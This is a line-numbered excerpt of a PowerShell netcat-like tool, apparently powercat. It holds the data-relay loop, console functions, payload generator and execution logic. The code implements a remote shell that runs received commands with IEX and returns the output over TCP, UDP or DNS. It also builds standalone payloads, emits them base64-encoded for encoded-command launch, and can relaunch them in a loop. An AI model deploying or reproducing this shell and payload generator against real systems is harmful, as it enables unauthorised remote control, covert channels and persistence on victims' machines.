621 }
622
623 if($InputToWrite -ne @())
624 {
625 Write-Verbose "Writing input to Stream 1..."
626 try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
627 catch{Write-Host "Failed to write input to Stream 1" ; return}
628 }
629
630 if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
631
632 Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
633 while($True)
634 {
635 try
636 {
637 ##### Stream2 Read #####
638 $Prompt = $null
639 $ReturnedData = $null
640 if($CommandToExecute -ne "")
641 {
642 try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}
643 catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))}
644 $Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> "))
645 }
646 $Data += $IntroPrompt
647 $IntroPrompt = $null
648 $Data += $ReturnedData
649 $Data += $Prompt
650 $CommandToExecute = ""
651 ##### Stream2 Read #####
652
653 if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
654 $Data = $null
655 }
656 catch
657 {
658 Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
659 }
660
661 try
662 {
663 $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
664 if($Data.Length -eq 0){Start-Sleep -Milliseconds 100}
665 if($Data -ne $null){$CommandToExecute = $Encoding.GetString($Data)}
666 $Data = $null
667 }
668 catch
669 {
670 Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
671 }
672 }
673 }
674 finally
675 {
676 try
677 {
678 Write-Verbose "Closing Stream 1..."
679 Stream1_Close $Stream1Vars
680 }
681 catch
682 {
683 Write-Verbose "Failed to close Stream 1"
684 }
685 }
686 }
687 ########## POWERSHELL FUNCTIONS ##########
688
689 ########## CONSOLE FUNCTIONS ##########
690 function Setup_Console
691 {
692 param($FuncSetupVars)
693 $FuncVars = @{}
694 $FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
695 $FuncVars["Output"] = $FuncSetupVars[0]
696 $FuncVars["OutputBytes"] = [byte[]]@()
697 $FuncVars["OutputString"] = ""
698 return $FuncVars
699 }
700 function ReadData_Console
701 {
702 param($FuncVars)
703 $Data = $null
704 if($Host.UI.RawUI.KeyAvailable)
705 {
706 $Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n")
707 }
708 return $Data,$FuncVars
709 }
710 function WriteData_Console
711 {
712 param($Data,$FuncVars)
713 switch($FuncVars["Output"])
714 {
715 "Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)}
716 "String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)}
717 "Bytes" {$FuncVars["OutputBytes"] += $Data}
718 }
719 return $FuncVars
720 }
721 function Close_Console
722 {
723 param($FuncVars)
724 if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]}
725 elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]}
726 return
727 }
728 ########## CONSOLE FUNCTIONS ##########
729
730 ########## MAIN FUNCTION ##########
731 function Main
732 {
733 param($Stream1SetupVars,$Stream2SetupVars)
734 try
735 {
736 [byte[]]$InputToWrite = @()
737 $Encoding = New-Object System.Text.AsciiEncoding
738 if($i -ne $null)
739 {
740 Write-Verbose "Input from -i detected..."
741 if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
742 elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
743 elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
744 else{Write-Host "Unrecognised input type." ; return}
745 }
746
747 Write-Verbose "Setting up Stream 1..."
748 try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
749 catch{Write-Verbose "Stream 1 Setup Failure" ; return}
750
751 Write-Verbose "Setting up Stream 2..."
752 try{$Stream2Vars = Stream2_Setup $Stream2SetupVars}
753 catch{Write-Verbose "Stream 2 Setup Failure" ; return}
754
755 $Data = $null
756
757 if($InputToWrite -ne @())
758 {
759 Write-Verbose "Writing input to Stream 1..."
760 try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
761 catch{Write-Host "Failed to write input to Stream 1" ; return}
762 }
763
764 if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
765
766 Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
767 while($True)
768 {
769 try
770 {
771 $Data,$Stream2Vars = Stream2_ReadData $Stream2Vars
772 if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
773 if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
774 $Data = $null
775 }
776 catch
777 {
778 Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
779 }
780
781 try
782 {
783 $Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
784 if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
785 if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars}
786 $Data = $null
787 }
788 catch
789 {
790 Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
791 }
792 }
793 }
794 finally
795 {
796 try
797 {
798 #Write-Verbose "Closing Stream 2..."
799 Stream2_Close $Stream2Vars
800 }
801 catch
802 {
803 Write-Verbose "Failed to close Stream 2"
804 }
805 try
806 {
807 #Write-Verbose "Closing Stream 1..."
808 Stream1_Close $Stream1Vars
809 }
810 catch
811 {
812 Write-Verbose "Failed to close Stream 1"
813 }
814 }
815 }
816 ########## MAIN FUNCTION ##########
817
818 ########## GENERATE PAYLOAD ##########
819 if($u)
820 {
821 Write-Verbose "Set Stream 1: UDP"
822 $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
823 $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
824 $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
825 $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
826 if($l){$InvokeString = "Main @('',`$True,'$p','$t') "}
827 else{$InvokeString = "Main @('$c',`$False,'$p','$t') "}
828 }
829 elseif($dns -ne "")
830 {
831 Write-Verbose "Set Stream 1: DNS"
832 $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
833 $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
834 $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
835 $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
836 if($l){return "This feature is not available."}
837 else{$InvokeString = "Main @('$c','$p','$dns',$dnsft) "}
838 }
839 else
840 {
841 Write-Verbose "Set Stream 1: TCP"
842 $FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
843 $FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
844 $FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
845 $FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
846 if($l){$InvokeString = "Main @('',`$True,$p,$t) "}
847 else{$InvokeString = "Main @('$c',`$False,$p,$t) "}
848 }
849
850 if($e -ne "")
851 {
852 Write-Verbose "Set Stream 2: Process"
853 $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_CMD} + "`n}`n`n")
854 $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_CMD} + "`n}`n`n")
855 $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_CMD} + "`n}`n`n")
856 $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_CMD} + "`n}`n`n")
857 $InvokeString += "@('$e')`n`n"
858 }
859 elseif($ep)
860 {
861 Write-Verbose "Set Stream 2: Powershell"
862 $InvokeString += "`n`n"
863 }
864 elseif($r -ne "")
865 {
866 if($r.split(":")[0].ToLower() -eq "udp")
867 {
868 Write-Verbose "Set Stream 2: UDP"
869 $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
870 $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
871 $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
872 $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
873 if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
874 elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
875 else{return "Bad relay format."}
876 }
877 if($r.split(":")[0].ToLower() -eq "dns")
878 {
879 Write-Verbose "Set Stream 2: DNS"
880 $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
881 $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
882 $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
883 $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
884 if($r.split(":").Count -eq 2){return "This feature is not available."}
885 elseif($r.split(":").Count -eq 4){$InvokeString += ("@('" + $r.split(":")[1] + "','" + $r.split(":")[2] + "','" + $r.split(":")[3] + "',$dnsft) ")}
886 else{return "Bad relay format."}
887 }
888 elseif($r.split(":")[0].ToLower() -eq "tcp")
889 {
890 Write-Verbose "Set Stream 2: TCP"
891 $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
892 $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
893 $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
894 $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
895 if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
896 elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
897 else{return "Bad relay format."}
898 }
899 }
900 else
901 {
902 Write-Verbose "Set Stream 2: Console"
903 $FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n")
904 $FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n")
905 $FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n")
906 $FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n")
907 $InvokeString += ("@('" + $o + "')")
908 }
909
910 if($ep){$FunctionString += ("function Main`n{`n" + ${function:Main_Powershell} + "`n}`n`n")}
911 else{$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")}
912 $InvokeString = ($FunctionString + $InvokeString)
913 ########## GENERATE PAYLOAD ##########
914
915 ########## RETURN GENERATED PAYLOADS ##########
916 if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))}
917 elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString}
918 ########## RETURN GENERATED PAYLOADS ##########
919
920 ########## EXECUTION ##########
921 $Output = $null
922 try
923 {
924 if($rep)
925 {
926 while($True)
927 {
928 $Output += IEX $InvokeString
929 Start-Sleep -s 2
930 Write-Verbose "Repetition Enabled: Restarting..."
931 }
932 }
933 else
934 {
935 $Output += IEX $InvokeString
936 }
937 }
938 finally
939 {
940 if($Output -ne $null)
941 {
942 if($of -eq ""){$Output}
943 else{[io.file]::WriteAllBytes($of,$Output)}
944 }
945 }
946 ########## EXECUTION ##########
947 }